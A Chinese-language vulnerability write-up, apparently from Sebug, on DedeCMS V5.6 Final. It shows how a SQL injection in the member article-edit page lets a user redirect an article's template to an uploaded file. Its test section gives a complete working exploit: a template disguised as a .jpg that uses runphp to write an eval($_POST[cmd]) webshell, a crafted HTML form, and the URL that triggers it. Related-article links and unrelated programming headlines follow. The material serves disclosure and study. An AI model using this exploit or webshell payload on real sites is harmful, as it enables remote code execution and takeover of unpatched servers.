漏洞版本:

Dedecms V5.6 Final

漏洞描述:

Dedecms V5.6 Final版本中的各个文件存在一系列问题,经过精心构造的含有恶意代表的模板内容可以通过用户后台的上传附件的功能上传上去,然后通过SQL注入修改附加表的模板路径为我们上传的模板路径,模板解析类:include/inc_archives_view.php没有对模板路径及名称做任何限制,则可以成功执行恶意代码。

1、member/article_edit.php文件(注入):

//漏洞在member文件夹下普遍存在,$dede_addonfields是由用户提交的,可以被伪造,伪造成功即可带入sql语句,于是我们可以给附加表的内容进行update赋值。

//分析处理附加表数据
$inadd_f = '';
if(!empty($dede_addonfields))//自己构造$dede_addonfields
{
$addonfields = explode(';',$dede_addonfields);
if(is_array($addonfields))
{
print_r($addonfields);
foreach($addonfields as $v)
{
if($v=='')
{
continue;
}
$vs = explode(',',$v);
if(!isset(${$vs[0]}))
{
${$vs[0]} = '';
}
${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid);
$inadd_f .= ','.$vs[0]." ='".${$vs[0]}."' ";
echo $inadd_f;
}
}
}

if($addtable!='')
{
$upQuery = "Update `$addtable` set typeid='$typeid',body='$body'{$inadd_f},userip='$userip' where aid='$aid' "; //执行构造的sql
if(!$dsql->ExecuteNoneQuery($upQuery))
{
ShowMsg("更新附加表 `$addtable` 时出错,请联系管理员!","javascript:;");
exit();
}
}
… 2、include/inc_archives_view.php: //这是模板处理类,如果附加表的模板路径存在,直接从附加表取值;GetTempletFile获取模板文件的方法就是取的此处的模板路径,从来带进去解析。

//issystem==-1 表示单表模型,单表模型不支持redirecturl这类参数,因此限定内容普通模型才进行下面查询
if($this->ChannelUnit->ChannelInfos['addtable']!='' && $this->ChannelUnit->ChannelInfos['issystem']!=-1)
{
if(is_array($this->addTableRow))
{
$this->Fields['redirecturl'] = $this->addTableRow['redirecturl'];
$this->Fields['templet'] = $this->addTableRow['templet'];//取值
$this->Fields['userip'] = $this->addTableRow['userip'];
}
$this->Fields['templet'] = (empty($this->Fields['templet']) ? '' : trim($this->Fields['templet']));
$this->Fields['redirecturl'] = (empty($this->Fields['redirecturl']) ? '' : trim($this->Fields['redirecturl']));
$this->Fields['userip'] = (empty($this->Fields['userip']) ? '' : trim($this->Fields['userip']));
}
else
{
$this->Fields['templet'] = $this->Fields['redirecturl'] = '';
}
… //获得模板文件位置
function GetTempletFile()
{
global $cfg_basedir,$cfg_templets_dir,$cfg_df_style;
$cid = $this->ChannelUnit->ChannelInfos['nid'];
if(!empty($this->Fields['templet']))
{
$filetag = MfTemplet($this->Fields['templet']);
if( !ereg('/', $filetag) ) $filetag = $GLOBALS['cfg_df_style'].'/'.$filetag;
}
else
{
$filetag = MfTemplet($this->TypeLink->TypeInfos["temparticle"]);
}
$tid = $this->Fields['typeid'];
$filetag = str_replace('{cid}', $cid,$filetag);
$filetag = str_replace('{tid}', $tid,$filetag);
$tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;
if($cid=='spec')
{
if( !empty($this->Fields['templet']) )
{
$tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;
}
else
{
$tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";
}
}
if(!file_exists($tmpfile))
{
$tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/".($cid=='spec' ? 'article_spec.htm' : 'article_default.htm');
}
return $tmpfile;
}

测试方法:

@Sebug.net   dis
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
    1. 1.上传一个模板文件:
    2. 注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是:
    3. uploads/userup/2/12OMX04-15A.jpg
    4. 模板内容是(如果限制图片格式,加gif89a):
    5. {dede:name runphp='yes'}
    6. $fp =@fopen("1.php",'a');
    7. @fwrite($fp,'<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
    8. @fclose($fp);
    9. {/dede:name}
    10. 2.修改刚刚发表的文章,查看源文件,构造一个表单:
    11. <form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data" onsubmit="return checkSubmit();">
    12. <input type="hidden" name="dopost" value="save" />
    13. <input type="hidden" name="aid" value="2" />
    14. <input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
    15. <input type="hidden" name="channelid" value="1" />
    16. <input type="hidden" name="oldlitpic" value="" />
    17. <input type="hidden" name="sortrank" value="1275972263" />
    18. <div id="mainCp">
    19. <h3 class="meTitle"><strong>修改文章</strong></h3>
    20. <div class="postForm">
    21. <label>标题:</label>
    22. <input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
    23. <label>标签TAG:</label>
    24. <input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
    25. <label>作者:</label>
    26. <input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
    27. <label>隶属栏目:</label>
    28. <select name='typeid' size='1'>
    29. <option value='1' class='option3' selected=''>测试栏目</option>
    30. </select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
    31. <label>我的分类:</label>
    32. <select name='mtypesid' size='1'>
    33. <option value='0' selected>请选择分类...</option>
    34. <option value='1'class='option3' selected>hahahha</option>
    35. </select>
    36. <label>信息摘要:</label>
    37. <textarea name="description" id="description">1111111</textarea>
    38. (内容的简要说明)
    39. <label>缩略图:</label>
    40. <input name="litpic" type="file" id="litpic" onchange="SeePicNew('divpicview',this);" maxlength="100"class="intxt"/>
    41. <input type='text' name='templet'
    42. value="../ uploads/userup/2/12OMX04-15A.jpg">
    43. <input type='text' name='dede_addonfields'
    44. value="templet,htmltext;">(这里构造)
    45. </div>
    46. <!-- 表单操作区域 -->
    47. <h3 class="meTitle">详细内容</h3>
    48. <div class="contentShow postForm">
    49. <input type="hidden" id="body" name="body" value="&lt;div&gt;&lt;a href=&quot;http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; alt=&quot;&quot; src=&quot;http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg&quot; width=&quot;1010&quot; height=&quot;456&quot; /&gt;&lt;/a&gt;&lt;/div&gt; &lt;p&gt;&amp;lt;?phpinfo()?&amp;gt;1111111&lt;/p&gt;" style="display:none"/><input type="hidden" id="body___Config" value="FullPage=false" style="display:none"/><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&amp;Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
    50. <label>验证码:</label>
    51. <input name="vdcode" type="text" id="vdcode" maxlength="100"class="intxt" style='width:50px;text-transform:uppercase;'/>
    52. <img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清?点击更换" align="absmiddle" style="cursor:pointer" onclick="this.src=this.src+'?'"/>
    53. <button class="button2" type="submit">提交</button>
    54. <button class="button2 ml10" type="reset" onclick="location.reload();">重置</button>
    55. </div>
    56. </div>
    57. </form>
    58. 提交,提示修改成功,则我们已经成功修改模板路径。
    59. 3.访问修改的文章:
    60. 假设刚刚修改的文章的aid为2,则我们只需要访问:
    61. http://127.0.0.1/dede/plus/view.php?aid=2
    62. 即可以在plus目录下生成webshell:1.php

Dedecms <= V5.6 Final模板执行漏洞的更多相关文章

  1. 织梦dedecms漏洞修复大全(5.7起)

    很多人说dedecms不好,因为用的人多了,找漏洞的人也多了,那么如果我们能修复的话,这些都不是问题. 好,我们来一个一个修复.修复方法都是下载目录下该文件,然后替换或添加部分代码,保存后上传覆盖(记 ...

  2. 织梦Dedecms使用Nginx的安全设置

    首先需要说明的是,任何程序都是有漏洞的,我们需要做好一些必要的防范,来减少由于程序漏洞造成的损失.织梦的漏洞多,这个是很多人的想法.不过大家如果做好了织梦系统的文件夹权限什么的设置,很多漏洞也是用不上 ...

  3. 织梦DedeCMS模板防盗的四种方法

    织梦(DedeCMS)模板也是一种财富,不想自己辛辛苦苦做的模板被盗用,在互联网上出现一些和自己一模一样的网站,就需要做好模板防盗.本文是No牛收集整理自网络,不过网上的版本都没有提供 Nginx 3 ...

  4. 织梦Dedecms安全设置

    织梦DedeCMS是一款非常流行的CMS,很多刚开始建站人都用的织梦,一方面是织梦比较容易操作;另一方面是织梦的SEO方面做的确实比其他的系统要好一些.这些都导致织梦的用户群是非常庞大的,用的人多了, ...

  5. 织梦DedeCMS

    DedeAMPZ服务器套件 http://dedeampz.dedecms.com/ DedeCMS  PHP开源网站管理系统  CMS系统 http://www.dedecms.com/produc ...

  6. DedeCMS flink_add Getshell漏洞 管理员CSRF漏洞

    DedeCMS flink_add Getshell漏洞 管理员CSRF漏洞 1.漏洞利用 由于tpl.php中的$action,$content,$filename变量没有初始化,从而能操纵这些变量 ...

  7. dedecms循环列表样式

    简单用法: {dede:arclist typeid="1" row="} <li class="list[field:global.autoindex/ ...

  8. dedecms 文章页图片改为绝对路径

    这几天在网站改版,想把网站做大,想做频道页二级域名,于是在做网站的过程中发现一个问题,dedecms开设二级域名后,在二级域名的文章页无法显示图片,查看源代码后发现问题,由于dedecms文章页中的图 ...

  9. dedecms功能性函数封装(XSS过滤、编码、浏览器XSS hack、字符操作函数)

    dedecms虽然有诸多漏洞,但不可否认确实是一个很不错的内容管理系统(cms),其他也不乏很多功能实用性的函数,以下就部分列举,持续更新,不作过多说明.使用时需部分修改,你懂的 1.XSS过滤. f ...

  10. Dedecms去掉URL中a目录的方法

    本文实例讲述了Dedecms去掉URL中a目录的方法.分享给大家,供大家参考.具体分析如下: 使用dedecms的朋友可能会发现自己的URL目录生成是会自动带有一个/A/目录了,那么要如何去掉URL中 ...

随机推荐

  1. 【LOJ】#2010. 「SCOI2015」小凸解密码

    题解 断环为链,把链复制两份 用set维护一下全是0的区间,然后查找x + n / 2附近的区间,附近各一个过不去,最后弃疗了改为查附近的两个,然后过掉了= = 熟练掌握stl的应用,你值得拥有(雾 ...

  2. socket.io分布式

    socket.io是目前较为流行的web实时推送框架,其基于nodejs语言开发,底层用engine.io实现. 借助nodejs语言异步的特性,其获得了不错的性能.但单个实例的socket.io依然 ...

  3. 牛客网 牛客练习赛43 C.Tachibana Kanade Loves Review-最小生成树(并查集+Kruskal)+建虚点+读入挂

    链接:https://ac.nowcoder.com/acm/contest/548/C来源:牛客网 Tachibana Kanade Loves Review 时间限制:C/C++ 2秒,其他语言4 ...

  4. Eclipse中Tomcat 修改后台代码即时生效

    修改类后不用重启Tomcat就能自动生效,对于提高开发效率的帮助很大. server.xml 中节点定义时一般会有如下配置: <Context docBase="test1" ...

  5. java8新特性——并行流与顺序流

    在我们开发过程中,我们都知道想要提高程序效率,我们可以启用多线程去并行处理,而java8中对数据处理也提供了它得并行方法,今天就来简单学习一下java8中得并行流与顺序流. 并行流就是把一个内容分成多 ...

  6. Hibernate 注解方式配置

    在Hibernate3之后就可以使用注解的方式去配置.而且在工作中我们使用的更多的也是注解方式去配置项目,所以还有一部分使用配置文件去配置的一些关系就不在此去一一举例,需要了解的朋友可以去查看Hibe ...

  7. 【BZOJ 4332】 4332: JSOI2012 分零食 (FFT+快速幂)

    4332: JSOI2012 分零食 Time Limit: 10 Sec  Memory Limit: 256 MBSubmit: 119  Solved: 66 Description 这里是欢乐 ...

  8. [JOBDU1172]哈夫曼树

    题目大意: 给你一堆权值,求这些权值建成哈夫曼树后的WPL. 思路: 哈夫曼树的WPL等于各非叶子结点权值之和. 所以直接贪心模拟构建哈夫曼树的过程. 先把所有的权值放在一个堆中,然后每次取里面最小的 ...

  9. 初涉springboot(二)

    概述 1.环境说明 2.HelloWorld项目细节   3.小结 一. 关于环境补充 在上一篇的HellWorld项目中,我们构建SpringBoot项目,采用的是jdk1.8版本,springbo ...

  10. __declspec(dllexport) 和 __declspec(dllimport)的区别

    最近看MXNet的源码,其中c_api.h中发现遇到__declspec(dllexport) 和 __declspec(dllimport). __declspec(dllexport)用于导出符号 ...